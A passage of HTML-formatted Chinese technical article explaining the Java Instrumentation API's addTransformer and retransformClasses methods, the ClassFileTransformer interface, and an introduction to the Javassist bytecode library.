Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">和</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">isModifiableClasses()</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">。</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">今天就来讲讲如何使用</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">addTransformer()</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">和</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">retransformClasses()</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">来篡改Class的字节码。</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">首先看一下这两个方法的声明：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">interface</span> <span class="code-snippet__title">Instrumentation</span> </span>{</span></code><code><span class="code-snippet_outer">    </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">// 增加一个 Class 文件的转换器，转换器用于改变 Class 二进制流的数据，参数 canRetransform 设置是否允许重新转换。在类加载之前，重新定义 Class 文件，ClassDefinition 表示对一个类新的定义，如果在类加载之后，需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后，后续的类加载都会被Transformer拦截。对于已经加载过的类，可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后，除非再次被retransform，否则不会恢复。</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">void</span> <span class="code-snippet__title">addTransformer</span><span class="code-snippet__params">(ClassFileTransformer transformer)</span></span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">// 删除一个类转换器</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">boolean</span> <span class="code-snippet__title">removeTransformer</span><span class="code-snippet__params">(ClassFileTransformer transformer)</span></span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">// 在类加载之后，重新定义 Class。这个很重要，该方法是1.6 之后加入的，事实上，该方法是 update 了一个类。</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">void</span> <span class="code-snippet__title">retransformClasses</span><span class="code-snippet__params">(Class&lt;?&gt;... classes)</span> <span class="code-snippet__keyword">throws</span> UnmodifiableClassException</span>;</span></code><code><span class="code-snippet_outer">    </span></code><code><span class="code-snippet_outer">    ......</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="text-align:left;"><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"> 在</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">addTransformer()</span></code><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">方法中，有一个参数</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">ClassFileTransformer transformer</span></code><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">。这个参数将帮助我们完成字节码的修改工作。    </span></p></section></section></section></section></section><section data-role="paragraph" data-color="#feecaf"><p><br/></p></section><section data-tools="135编辑器" data-id="94987" data-color="#feecaf"><section style="text-align: center;margin:10px auto;"><section style="display: flex;justify-content: center;align-items: center;text-align: left;margin-left: -20px;"><section style="box-sizing:border-box;margin-right:-4em;margin-top: -12px;width:8em;"><section style="box-sizing:border-box;width:8em;"><img data-ratio="0.050955414012738856" style="box-sizing:border-box;width: 100%;display: block;" data-type="gif" data-w="157" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=7b13f097&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fe9yMd8aXlddqF1MKBSuEjUmG7IINppAgrgpwibEze0EsgMMdOpWoaBdZI80a6MhfuBlwWEDfT7ANKPX2rmd2Y5Q%2F640%3Fwx_fmt%3Dgif"/></section></section><section style="box-sizing: border-box;width: 2.5em;height: 5px;background: rgb(254, 236, 175);border-radius: 5px;margin-top: 8px;margin-left: -1.6em;color: rgb(172, 133, 2);overflow: hidden;"><br/></section><section style="display:inline-block;"><section data-brushtype="text" style="background: rgb(254, 236, 175);color: rgb(172, 133, 2);font-size: 16px;letter-spacing: 1.5px;padding: 10px 1.6em;transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-ms-transform: rotate(0deg);-o-transform: rotate(0deg);"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><strong><span style="font-size: 18px;">ClassFileTransformer</span></strong></span></section><section data-bgless="spin" data-bglessp="280" data-bgopacity="80%" style="box-sizing: border-box;width: 100%;background: rgba(254, 175, 220, 0.2);height: 40px;margin-top: -34px;margin-left: 6px;color: rgb(174, 0, 99);overflow: hidden;" data-width="100%"><br/></section></section><section style="box-sizing:border-box;margin-left:-4em;width:8em;margin-top: -12px;"><img data-ratio="0.0457516339869281" style="box-sizing:border-box;width: 100%;display: block;" data-type="gif" data-w="153" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=6841bcd7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fe9yMd8aXlddqF1MKBSuEjUmG7IINppAg55VpIrDfCkBIcRUe5wBwr0Czry9KBN1EWxA3ArHeMyoVXBFmPqQSQQ%2F640%3Fwx_fmt%3Dgif"/></section><section style="box-sizing: border-box;width: 2.2em;height: 5px;background: rgb(254, 236, 175);border-radius: 5px;margin-top: 8px;margin-left: -4em;color: rgb(172, 133, 2);overflow: hidden;"><br/></section></section></section></section><section data-role="paragraph" data-color="#feecaf"><p><br/></p></section><section data-tools="135编辑器" data-id="101364" data-color="#feecaf"><section style="margin: 10px auto;text-align: center;"><section style="display: flex;justify-content: center;align-items: center;"><section style="box-sizing:border-box;width: 45px;"><img data-ratio="0.8245614035087719" style="box-sizing:border-box;width: 100%;display: block;" data-type="gif" data-w="57" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=aae19b8d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fe9yMd8aXlddqF1MKBSuEjUmG7IINppAgGB0JU4O1432w99x0mpOSJPtyvaibibmEQkSMeYU8iaibgFGE0NppqYDycg%2F640%3Fwx_fmt%3Dgif"/></section></section><section style="background: rgb(254, 236, 175);padding: 4px;border-radius: 10px;margin-top: -20px;color: rgb(172, 133, 2);"><section data-autoskip="1" style="text-align: justify;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(254, 236, 175);background: rgb(255, 255, 255);padding: 2em 1em 1em;border-radius: 10px;"><section data-role="paragraph" data-color="#feecaf"><p style="text-align:left;"><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">这是一个接口，它提供了一个</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">transform</span></code><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">方法：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">interface</span> <span class="code-snippet__title">ClassFileTransformer</span> {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">default</span> <span class="code-snippet__keyword">byte</span>[]</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__title">transform</span>(<span class="code-snippet__params">  ClassLoader         loader,</span></span></code><code><span class="code-snippet_outer">                String              className,</span></code><code><span class="code-snippet_outer">                Class&lt;?&gt;            classBeingRedefined,</span></code><code><span class="code-snippet_outer">                ProtectionDomain    protectionDomain,</span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">                <span class="code-snippet__keyword">byte</span>[]              classfileBuffer</span>) {</span></code><code><span class="code-snippet_outer">        ....</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="text-align:left;"><span style="color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">这个接口的功能在注释中写道（经过翻译）：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer"><span class="code-snippet__comment">// 代理使用addTransformer方法注册此接口的实现，以便在加载，重新定义或重新转换类时调用转换器的transform方法。该实现应覆盖此处定义的转换方法之一。在Java虚拟机定义类之前，将调用变压器。</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">// 有两种转换器，由Instrumentation.addTransformer（ClassFileTransformer，boolean）的canRetransform参数确定：</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">// 与canRetransform一起添加的具有重转换能力的转换器为true</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">// 与canRetransform一起添加为false或在Instrumentation.addTransformer（ClassFileTransformer）处添加的无法重新转换的转换器</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">// 在addTransformer中注册了转换器后，将为每个新的类定义和每个类重新定义调用该转换器。具有重转换功能的转换器也将在每个类的重转换上被调用。使用ClassLoader.defineClass或其本机等效项来请求新的类定义。使用Instrumentation.redefineClasses或其本机等效项进行类重新定义的请求。使用Instrumentation.retransformClasses或其本机等效项进行类重新转换的请求。在验证或应用类文件字节之前，将在处理请求期间调用转换器。如果有多个转换器，则通过链接转换调用来构成转换。也就是说，一次转换所返回的字节数组成为转换的输入（通过classfileBuffer参数）。</span></span></code></pre></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">简单概括一下：</span></p><p style="text-align:left;box-sizing: border-box;margin-top: 20px;margin-right: 10px;margin-bottom: 20px;padding-left: 20px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">1.使用<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">Instrumentation.addTransformer()</code>来加载一个转换器。</span><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">2.<span style="color: rgb(63, 63, 63);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1.5px;text-align: left;text-indent: -20px;background-color: rgb(255, 255, 255);">转换器的返回结果（</span><code style="padding: 3px 5px;letter-spacing: 1.5px;text-align: left;text-indent: -20px;white-space: normal;box-sizing: border-box;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">transform()</code><span style="color: rgb(63, 63, 63);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1.5px;text-align: left;text-indent: -20px;background-color: rgb(255, 255, 255);">方法的返回值）将成为转换后的字节码。</span></span><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">3.对于没有加载的类，会使用<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">ClassLoader.defineClass()</code>定义它；对于已经加载的类，会使用<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">ClassLoader.redefineClasses()</code>重新定义，并配合<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">Instrumentation.retransformClasses</code>进行转换。</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">现在已经知道了怎样能修改Class的字节码，具体的做法还需要用到另一个工具——</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">javassist</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">。</span></p></section></section></section></section></section><section data-role="paragraph" data-color="#feecaf"><p><br/></p></section><section data-tools="135编辑器" data-id="94987" data-color="#feecaf"><section style="text-align: center;margin:10px auto;"><section style="display: flex;justify-content: center;align-items: center;text-align: left;margin-left: -20px;"><section style="box-sizing:border-box;margin-right:-4em;margin-top: -12px;width:8em;"><section style="box-sizing:border-box;width:8em;"><img data-ratio="0.050955414012738856" style="box-sizing:border-box;width: 100%;display: block;" data-type="gif" data-w="157" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=7b13f097&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fe9yMd8aXlddqF1MKBSuEjUmG7IINppAgrgpwibEze0EsgMMdOpWoaBdZI80a6MhfuBlwWEDfT7ANKPX2rmd2Y5Q%2F640%3Fwx_fmt%3Dgif"/></section></section><section style="box-sizing: border-box;width: 2.5em;height: 5px;background: rgb(254, 236, 175);border-radius: 5px;margin-top: 8px;margin-left: -1.6em;color: rgb(172, 133, 2);overflow: hidden;"><br/></section><section style="display:inline-block;"><section data-brushtype="text" style="background: #feecaf;color: #ac8502;font-size: 16px;letter-spacing: 1.5px;padding: 10px 1.6em;transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-ms-transform: rotate(0deg);-o-transform: rotate(0deg);"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><strong><span style="font-size: 18px;">javassist</span></strong></span></section><section data-bgless="spin" data-bglessp="280" data-bgopacity="80%" style="box-sizing: border-box;width: 100%;background: rgba(254, 175, 220, 0.2);height: 40px;margin-top: -34px;margin-left: 6px;color: rgb(174, 0, 99);overflow: hidden;" data-width="100%"><br/></section></section><section style="box-sizing:border-box;margin-left:-4em;width:8em;margin-top: -12px;"><img data-ratio="0.0457516339869281" style="box-sizing:border-box;width: 100%;display: block;" data-type="gif" data-w="153" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=6841bcd7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fe9yMd8aXlddqF1MKBSuEjUmG7IINppAg55VpIrDfCkBIcRUe5wBwr0Czry9KBN1EWxA3ArHeMyoVXBFmPqQSQQ%2F640%3Fwx_fmt%3Dgif"/></section><section style="box-sizing: border-box;width: 2.2em;height: 5px;background: rgb(254, 236, 175);border-radius: 5px;margin-top: 8px;margin-left: -4em;color: rgb(172, 133, 2);overflow: hidden;"><br/></section></section></section></section><section data-role="paragraph" data-color="#feecaf"><p><br/></p></section><section data-tools="135编辑器" data-id="101364" data-color="#feecaf"><section style="margin: 10px auto;text-align: center;"><section style="display: flex;justify-content: center;align-items: center;"><section style="box-sizing:border-box;width: 45px;"><img data-ratio="0.8245614035087719" style="box-sizing:border-box;width: 100%;display: block;" data-type="gif" data-w="57" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=aae19b8d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fe9yMd8aXlddqF1MKBSuEjUmG7IINppAgGB0JU4O1432w99x0mpOSJPtyvaibibmEQkSMeYU8iaibgFGE0NppqYDycg%2F640%3Fwx_fmt%3Dgif"/></section></section><section style="background: #feecaf;padding: 4px;border-radius: 10px;margin-top: -20px;color: #ac8502;"><section data-autoskip="1" style="text-align: justify;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: #feecaf;background: #ffffff;padding: 2em 1em 1em;border-radius: 10px;"><section data-tools="135编辑器" data-id="97529" data-color="#feecaf"><section style="margin:10px auto;"><section style="display: flex;justify-content: center;align-items: center;text-align: left;"><section style="box-sizing:border-box;width:40px;margin-right:-20px;transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-ms-transform: rotate(0deg);-o-transform: rotate(0deg);"><section style="box-sizing:border-box;width:40px;"><section data-bgless="spin" data-bglessp="30" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(233, 254, 175);margin-left: 6px;color: rgb(128, 174, 0);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="50" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(207, 254, 175);margin-top: 3px;margin-bottom: 3px;margin-left: 16px;color: rgb(71, 174, 0);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="70" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(180, 254, 175);color: rgb(11, 174, 0);overflow: hidden;"><br/></section></section></section><section style="display:inline-block;margin-top:6px;"><section style="border-width: 2px;border-style: dashed;border-color: rgb(254, 236, 175);background-color: rgb(254, 254, 254);padding: 6px 2em;box-sizing: border-box;"><section data-brushtype="text" style="font-size: 16px;text-align: center;color: rgb(51, 51, 51);"><strong><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">javassist简介</span></strong><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"></span></section></section><section style="box-sizing: border-box;width: 80%;height: 6px;margin-right: auto;margin-left: auto;background-color: rgb(254, 236, 175);border-bottom-left-radius: 20px;border-bottom-right-radius: 20px;color: rgb(172, 133, 2);overflow: hidden;" data-width="80%"><br/></section></section><section style="box-sizing:border-box;width:40px;transform: rotate(0deg);transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-ms-transform: rotate(0deg);-o-transform: rotate(0deg);"><section style="box-sizing:border-box;width:40px;"><section data-bgless="spin" data-bglessp="30" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(233, 254, 175);margin-left: -6px;color: rgb(128, 174, 0);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="50" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(207, 254, 175);margin-top: 3px;margin-bottom: 3px;margin-left: -16px;color: rgb(71, 174, 0);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="70" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(180, 254, 175);color: rgb(11, 174, 0);overflow: hidden;"><br/></section></section></section></section></section></section><section data-role="paragraph"><p><br/></p></section><blockquote style="box-sizing: border-box;margin: 20px 10px;padding-top: 1px;padding-bottom: 1px;font-size: 16px;text-align: left;color: rgb(91, 91, 91);line-height: 1.5;background: rgba(158, 158, 158, 0.1);border-left-color: rgb(158, 158, 158);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><p style="text-align:left;box-sizing: border-box;margin: 10px;color: rgb(63, 63, 63);line-height: 1.6;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">Javassist (JAVA programming ASSISTant) 是在 Java 中编辑字节码的类库;它使 Java 程序能够在运行时定义一个新类, 并在 JVM 加载时修改类文件。</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;color: rgb(63, 63, 63);line-height: 1.6;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">我们常用到的动态特性主要是反射，在运行时查找对象属性、方法，修改作用域，通过方法名称调用方法等。在线的应用不会频繁使用反射，因为反射的性能开销较大。其实还有一种和反射一样强大的特性，但是开销却很低，它就是Javassit。</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;color: rgb(63, 63, 63);line-height: 1.6;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">与其他类似的字节码编辑器不同, Javassist 提供了两个级别的 API: 源级别和字节码级别。如果用户使用源级 API, 他们可以编辑类文件, 而不知道 Java 字节码的规格。整个 API 只用 Java 语言的词汇来设计。您甚至可以以源文本的形式指定插入的字节码; Javassist 在运行中编译它。另一方面, 字节码级 API 允许用户直接编辑类文件作为其他编辑器。</span></p></blockquote><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, 